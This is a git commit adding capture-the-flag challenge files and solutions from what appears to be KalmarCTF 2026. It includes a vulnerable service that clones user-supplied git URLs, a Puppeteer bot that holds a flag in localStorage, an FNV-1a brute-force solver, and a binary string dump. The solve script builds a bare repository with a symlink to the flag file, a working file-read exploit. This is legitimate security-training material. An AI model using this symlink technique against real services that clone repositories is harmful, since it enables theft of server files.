This commit is contained in:
2026-04-15 01:05:54 +02:00
parent db0324c43d
commit bc0c08342d
84 changed files with 28780 additions and 0 deletions

View File

@@ -0,0 +1,31 @@
# 1. Create the base repository with a commit
mkdir base_repo && cd base_repo
git init
git commit --allow-empty -m "init"
cd ..
# 2. Create the bare clone (the payload)
git clone --bare base_repo malicious.git
# 3. Inject the symlink
cd malicious.git
ln -s /app/flag.txt shallow
# 4. Force Git to track the refs directories
mkdir -p refs/heads refs/tags
touch refs/.keep
touch refs/heads/.keep
touch refs/tags/.keep
cd ..
# 5. Wrap it for delivery
mkdir wrapper && cd wrapper
git init
cp -r ../malicious.git .
git add malicious.git
git commit -m "Delivery package with refs tracked"
# 6. Push to your server
git branch -M main
git remote add origin https://gitea.cato447.de/cato447/pwn.git
git push -u origin main -f

View File

@@ -0,0 +1,12 @@
FROM archlinux:latest
RUN pacman --noconfirm -Sy socat python3 git
RUN mkdir /app
COPY clone.py /app/clone.py
COPY ./flag.txt /app/flag.txt
RUN useradd -m -k user:user user
USER user
WORKDIR /tmp
CMD socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"python3 /app/clone.py",stderr

View File

@@ -0,0 +1,4 @@
import subprocess
git_url = input('Git url to clone > ')
subprocess.run(["git", "clone", git_url], capture_output=False)
print('Done cloning!')

View File

@@ -0,0 +1,5 @@
services:
githoarder:
build: .
ports:
- 1444:1337

View File

@@ -0,0 +1 @@
kalmar{test_flag}

BIN
2026/kalmar/rev/oracle/0racle.exe Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

BIN
2026/kalmar/rev/oracle/solve Executable file

Binary file not shown.

View File

@@ -0,0 +1,79 @@
#include <iostream>
#include <string>
#include <vector>
#include <stdint.h>
#include <future>
const uint32_t BASIS = 0x811c9dc5;
const uint32_t PRIME = 0x1000193;
const std::string CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_";
uint32_t fnv1a(const std::string& s) {
uint32_t hash = BASIS;
for (unsigned char c : s) {
hash ^= c;
hash *= PRIME;
}
return hash;
}
// Recursive cracker for a specific segment
std::string crack(int length, uint32_t target) {
std::string current(length, CHARSET[0]);
auto backtrack = [&](auto self, int depth) -> bool {
if (depth == length) {
return fnv1a(current) == target;
}
for (char c : CHARSET) {
current[depth] = c;
if (self(self, depth + 1)) return true;
}
return false;
};
if (backtrack(backtrack, 0)) return current;
return "?????";
}
int main() {
struct Segment {
int id;
int len;
uint32_t hash;
};
std::vector<Segment> segments = {
{1, 4, 0x1fdb82eb}, // 7:11
{2, 3, 0xc498c8a6}, // 12:15
{3, 5, 0xd451383b}, // 16:21
{4, 3, 0xf1d1bdc9}, // 22:25
{5, 5, 0x5768cca7}, // 26:31
{6, 3, 0xe25d1966}, // 32:35
{7, 4, 0x45b2772b} // 36:40
};
std::vector<std::future<std::string>> workers;
std::cout << "[*] Launching 7 parallel threads for FNV-1a brute-force..." << std::endl;
for (const auto& s : segments) {
workers.push_back(std::async(std::launch::async, crack, s.len, s.hash));
}
std::vector<std::string> results;
for (size_t i = 0; i < workers.size(); ++i) {
std::string found = workers[i].get();
results.push_back(found);
std::cout << "[+] Segment " << i + 1 << " (" << segments[i].len << " chars): " << found << std::endl;
}
std::cout << "\n==========================================" << std::endl;
std::cout << "FINAL FLAG: kalmar{";
for (size_t i = 0; i < results.size(); ++i) {
std::cout << results[i] << (i == results.size() - 1 ? "" : "_");
}
std::cout << "}" << std::endl;
std::cout << "==========================================" << std::endl;
return 0;
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,427 @@
jjjj
jjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjj
jjjjjjjjjjjjjjjj
vjjjj
vjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjj
jjjjj
jjjjj
jjjjjjjjjjjjjjjj
jjjjjjh
jjjjh
jjjjjjjjjjjjjj
\jjjjjjj
jjjjj
jjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjj
jjjjjjjjjjjjjjj
jjjjjjjjjjjjjjj
jjjjjjjjjjjjjj
jjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjjjjj
jjjjjjjjjjjjj
jjjj
jjjjj
jjjjj
jjjjjjjjjjjjjj
jjjj
jjjj
jjjj
jjjjj
jjjj
jjjj
jjjj
jjjjj
jjjj
jjjj
jjjjj
jjjjj
(08@P`p
0@`
0@`
Window
HintWindow
MDICLIENT
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a\bcde\\\\fghijk\lm\\\\\nop\qr\stu\vwwww\xwyz{|\}~
ww\\
\\\\
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\
\\\\
wwww
\\\\
\\\\\\\\\\\
\\\\\\\\\\\\\
\\\\\\\\\\\\\\\\\\\\\\
\\\\
\\\\\\
\\\\\
w\\\\
\\\\\\\
!"#$%&'()*+,-
./.0123456789:;<=>?@ABCDEFGHI
.JKL
MJ.J
NO.P
.QKRSTU
VWXYZ[\]^_`abcdefghijkl
mnopqrstuvwxyz{|}~
KKKK
tttttt
ttttttt
ttttt
tKtttttttt
ttttttttttttttttt
....
..............
.......
.................
KKKKKKKKKKKKKKKKKKKKKKKKKKK
MMMMMM
KKKKKKKKK
KKKKKKKKKK
KKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKK
KKKJJK
KKKKKKKKKKKKKK
KKKKKKKKK
KKKKKKKKKKKKKKKKK
KKKKKK
KKKKKKKKK
KKKKK
KKKKKKKK
KKKKKKKKKKKKKKKKKKKKK
KKKKKKK
KKKKK
KKKKKKKKKKKKKKK
KKKKKKKK
KKKKKKKKKKKKKKKKKKKKKK
KKKKKKK
KKKK
KKKKKK
KKKKKKKKK
KKKKKKKKKKKKKK
KKKKK
KKKKKKKK
KKKKK
KJKSTU
KKKKKK
KKKKKKKKKKKK
JJJJJJ
KKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKK
QNOQNOJK
KKKKKKKK
KKKKKK
KKKKK
KKKKKKKK
KKKKKKKKKKKKK
JKKKKKK
KKKKKKKKKKKKKKKKKK
KKKKKKKK
KKKKKKKKK
KKKKKKK
KKKKKKKKKKKKKKKK
KKKKKK
KKKK
KKKKKKK
KKKK
KKKKK
KKKKKJJJ
JJJJJJ
KKKK
KKKK
KKKK
KKKK
KKKK
KKKKKKKKKKKK
KKKKK
JJJJJJJJ
JJJJJJ
JJJJ
KKKKKK
KKKK
KKKKKK
KKKK
KKKKKKKKKKKKK
KKKKKKKKKKK
KKKKKKKKK
KKKK
KKKKKKK
KKKK
KKKK
KKKKKKK
KKKK
KKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKK
JJJJJJJJJJ
KKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKK
KKKKKKKK
KKKKKKKKKKKKK
KKKK
KKKK
KKKKKKKKKKKKKKKKKKKK
KKKKK
KKKKKKKKKKKKKKKKKK
KKKKKK
KKKKKKKKKKKKKKK
KKKKKKKKKKKKKK
KKKKK
KKKKKKKKKKKK
KKKKKKKKKK
JJJJJJJJJJJJJJJJJJKKKKKKK
KKKKK
KKKKKKKKKKKKKKKKK
KKKKKKK
JJJJJJJJJJ
JJJJJJJJJ
KKKKKKKKKKKKKK
KKKKKKKK
KKKK
KKKKKKKKKKK
KKKK
KKKK
tttttttttttt
ttttttttttttt
ttttttttttttt
MMMMM
MMMMM
MMMMM
MMMMMMMMMM
JJJJ
JJJJJJ
tKKKKtJJtt
ttttJ
JJJJJ
JJJJ
JJJJJJJ
JJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJ
JJJJJJJJ
JJJJ
JJJJJJJ
JJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJ
JJJJJJJJJJJ
JJJJJJJJJJ
JJJJJJJ
JJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJ
JJJJJJJJ
JJJJJJJJJJJJ
JJJJJJJ
JJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJ
JJJJJJJJ
JJJJ
ttttt
tJJJJJJ
KKKKKKKK
KKKKKKK
KKKKKKK
KKKKKKK
LRLR
JJJJJJJJJJ
JJJJJJJJJ
JJJJJJ
JJJJJJJJJJJJ
KKKKKKKKKKK
KKKKKK
KKKKKK
K KKKKKKKKKKK
KKKKKK
KKKKKK
KKKKKKKKKKKJJQNO
JJJJJJJJJJQNO
JJJJJJJJJJJJJJ
KKKKK
KKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKK
KKKKKK
.......
tttttttt
tKKKKKKK
KKKK
KKKKKKK
JJJJ
KKKK
KKKKKKKKKKKKKKKKKK
KKKKKK
KKKKKK
KKKKKKK
KKKKK
KKKKKKKKK
KKKKK
KKKKKKKKK
KKKKKKKK
KKKKKKJJJK
KKKKK
KKKKKKKKKKK
KKKKKK
KKKKKK
KKKKKK
ttttttt.
tttttt
ttttttt
ttttt
KKKKKKKKK
KKK................
KKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKK
//
KKKKK
KKKKKKKKKKKKKKKKKKKKKKK
KKKKKKKKKK
KKKKKKKKKKKKKKKKKKKKKKKKKKKKK
KKKKKK
KKKKKK
KKKKKK
MMMJJ
\,\@\T\d\x\
X Y$Y
0123456789ABCDEF
MICROSOFTEDGE
[button
clock
combobox
edit
explorerbar
header
listview
menu
page
progress
rebar
scrollbar
spin
startpanel
status
taskband
taskbar
toolbar
tooltip
trackbar
traynotify
treeview
window
button
clock
combobox
edit
explorerbar
header
explorer::listview
menu
page
progress
rebar
scrollbar
spin
startpanel
status
taskband
taskbar
toolbar
tooltip
trackbar
traynotify
explorer::treeview
window
LAZ_PIC_DIALOG_TEMPLATE
msctls_updown32
LAZ_PIC_DIALOG_TEMPLATE BTN_ABORT
BTN_ABORT_150
BTN_ABORT_200
BTN_ALL
BTN_ALL_150
BTN_ALL_200
BTN_ARROWRIGHT
BTN_ARROWRIGHT_150
BTN_ARROWRIGHT_200
BTN_CANCEL
BTN_CANCEL_150
BTN_CANCEL_200 BTN_CLOSE
BTN_CLOSE_150
BTN_CLOSE_200
BTN_HELP
BTN_HELP_150
BTN_HELP_200
BTN_IGNORE
BTN_IGNORE_150
BTN_IGNORE_200
BTN_NO
BTN_NO_150
BTN_NO_200
BTN_OK
BTN_OK_150
BTN_OK_200 BTN_RETRY
BTN_RETRY_150
BTN_RETRY_200
BTN_YES
BTN_YES_150
BTN_YES_200
DIALOG_CONFIRMATION
DIALOG_CONFIRMATION_150
DIALOG_CONFIRMATION_200
DIALOG_ERROR
DIALOG_ERROR_150
DIALOG_ERROR_200
DIALOG_INFORMATION
DIALOG_INFORMATION_150
DIALOG_INFORMATION_200
DIALOG_SHIELD
DIALOG_SHIELD_150
DIALOG_SHIELD_200
DIALOG_WARNING
DIALOG_WARNING_150
DIALOG_WARNING_200
SORTASC
SORTASC_150
SORTASC_200
SORTASC_50
SORTASC_75
SORTDESC
SORTDESC_150
SORTDESC_200
SORTDESC_50
SORTDESC_75
TFORM1
TFORM2
TWINDOW
CUR_1
CUR_10
CUR_12
CUR_13
CUR_14
CUR_15
CUR_16
CUR_17
CUR_18
CUR_20
CUR_21
CUR_22
MAINICON

View File

@@ -0,0 +1,11 @@
# Exposed
Only the bot container and the aperisolve web container will be exposed
# Run
```sh
./build.sh
```
# Submit
You can submit urls to the bot with:
```sh
curl http://127.0.0.1:8091/report --json '{"url":"http://web:5000/?..."}'
````

View File

@@ -0,0 +1,17 @@
FROM fedora:latest
RUN dnf update -y && dnf install -y chromium nodejs
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY bot.js .
ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true
ENV PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser
RUN useradd -m user
USER user
CMD ["node", "bot.js"]

View File

@@ -0,0 +1,73 @@
const express = require('express');
const puppeteer = require('puppeteer');
const app = express();
const FLAG = process.env.FLAG || 'kalmar{test_flag}';
const CHALLENGE_DOMAIN = process.env.CHALLENGE_DOMAIN || 'http://web:5000/';
app.use(express.json());
function sleep(ms) {
return new Promise(res => setTimeout(res, ms));
}
async function visitUrl(url) {
const browser = await puppeteer.launch({
headless: true,
args: [
// this is not a pwn challenge, please don't rce us
'--disable-extensions',
'--disable-gpu',
'--disable-software-rasterizer',
'--js-flags=--noexpose_wasm,--jitless',
'--no-sandbox',
]
});
try {
const page = await browser.newPage();
await page.goto(CHALLENGE_DOMAIN, {
waitUntil: 'networkidle0',
});
// Flag is stored in localStorage
await page.evaluate((flag) => {
localStorage.setItem("flag", flag);
}, FLAG);
await sleep(1000);
await page.close()
// now visit reported page
const page2 = await browser.newPage();
await page2.goto(url, {waitUntil: []});
await sleep(5000);
} catch (err) {
console.error('Error visiting page:', err);
} finally {
await browser.close();
}
}
app.post('/report', async (req, res) => {
const { url } = req.body;
if (!url || typeof url !== 'string' || !url.startsWith(CHALLENGE_DOMAIN + '?')) {
return res.status(400).json({ error: `Invalid URL. Url should be a string and start with ${CHALLENGE_DOMAIN + '?'}` });
}
try {
await visitUrl(url);
res.json({ success: true });
} catch (err) {
console.error('Error on /report', err);
res.status(500).json({ error: 'Failed to visit URL' });
}
});
const PORT = process.env.PORT || 8080;
app.listen(PORT, () => {
console.log(`Bot listening on port ${PORT}`);
});

View File

@@ -0,0 +1,6 @@
{
"dependencies": {
"express": "^5.2.1",
"puppeteer": "^24.40.0"
}
}

View File

@@ -0,0 +1,21 @@
#!/usr/bin/env sh
git clone https://github.com/Zeecka/AperiSolve.git
cd AperiSolve
# Pinning repo version to 3.0.7
git checkout d86416c97d508c14fdda12297fb510d6e7080b13
# Pinning container version
# Version 3.0.7: https://github.com/zeecka/AperiSolve/pkgs/container/aperisolve/versions
sed --in-place -e "s/image: ghcr.io\/zeecka\/aperisolve:latest/image: ghcr.io\/zeecka\/aperisolve@sha256:c7f1f827e04d6d98b99f86845fcca31c2516cf13869270542c10b2ff4a6d9cd1/g" compose.yml
# Just for your convencience:
sed --in-place -e "s/restart: always/restart: unless-stopped/g" compose.yml
cp .env.example .env
cd ..
docker compose up --build; docker compose down
# If your user is not in the docker group, then run:
# sudo docker compose up --build; sudo docker compose down

View File

@@ -0,0 +1,19 @@
services:
nginx:
build: ./nginx
ports:
- "8091:80"
depends_on:
- web
- bot
bot:
build: ./bot
# ports:
# - 3123:3123
environment:
- FLAG=kalmar{test_flag}
- PORT=3123
include:
- AperiSolve/compose.yml

View File

@@ -0,0 +1,4 @@
FROM nginx:alpine
# Just adding nginx so we can expose everything over one port. It's not part of the challenge
COPY nginx.conf /etc/nginx/nginx.conf

View File

@@ -0,0 +1,17 @@
events {
worker_connections 1024;
}
http {
server {
listen 80;
location /report {
proxy_pass http://bot:3123;
}
location / {
proxy_pass http://web:5000;
}
}
}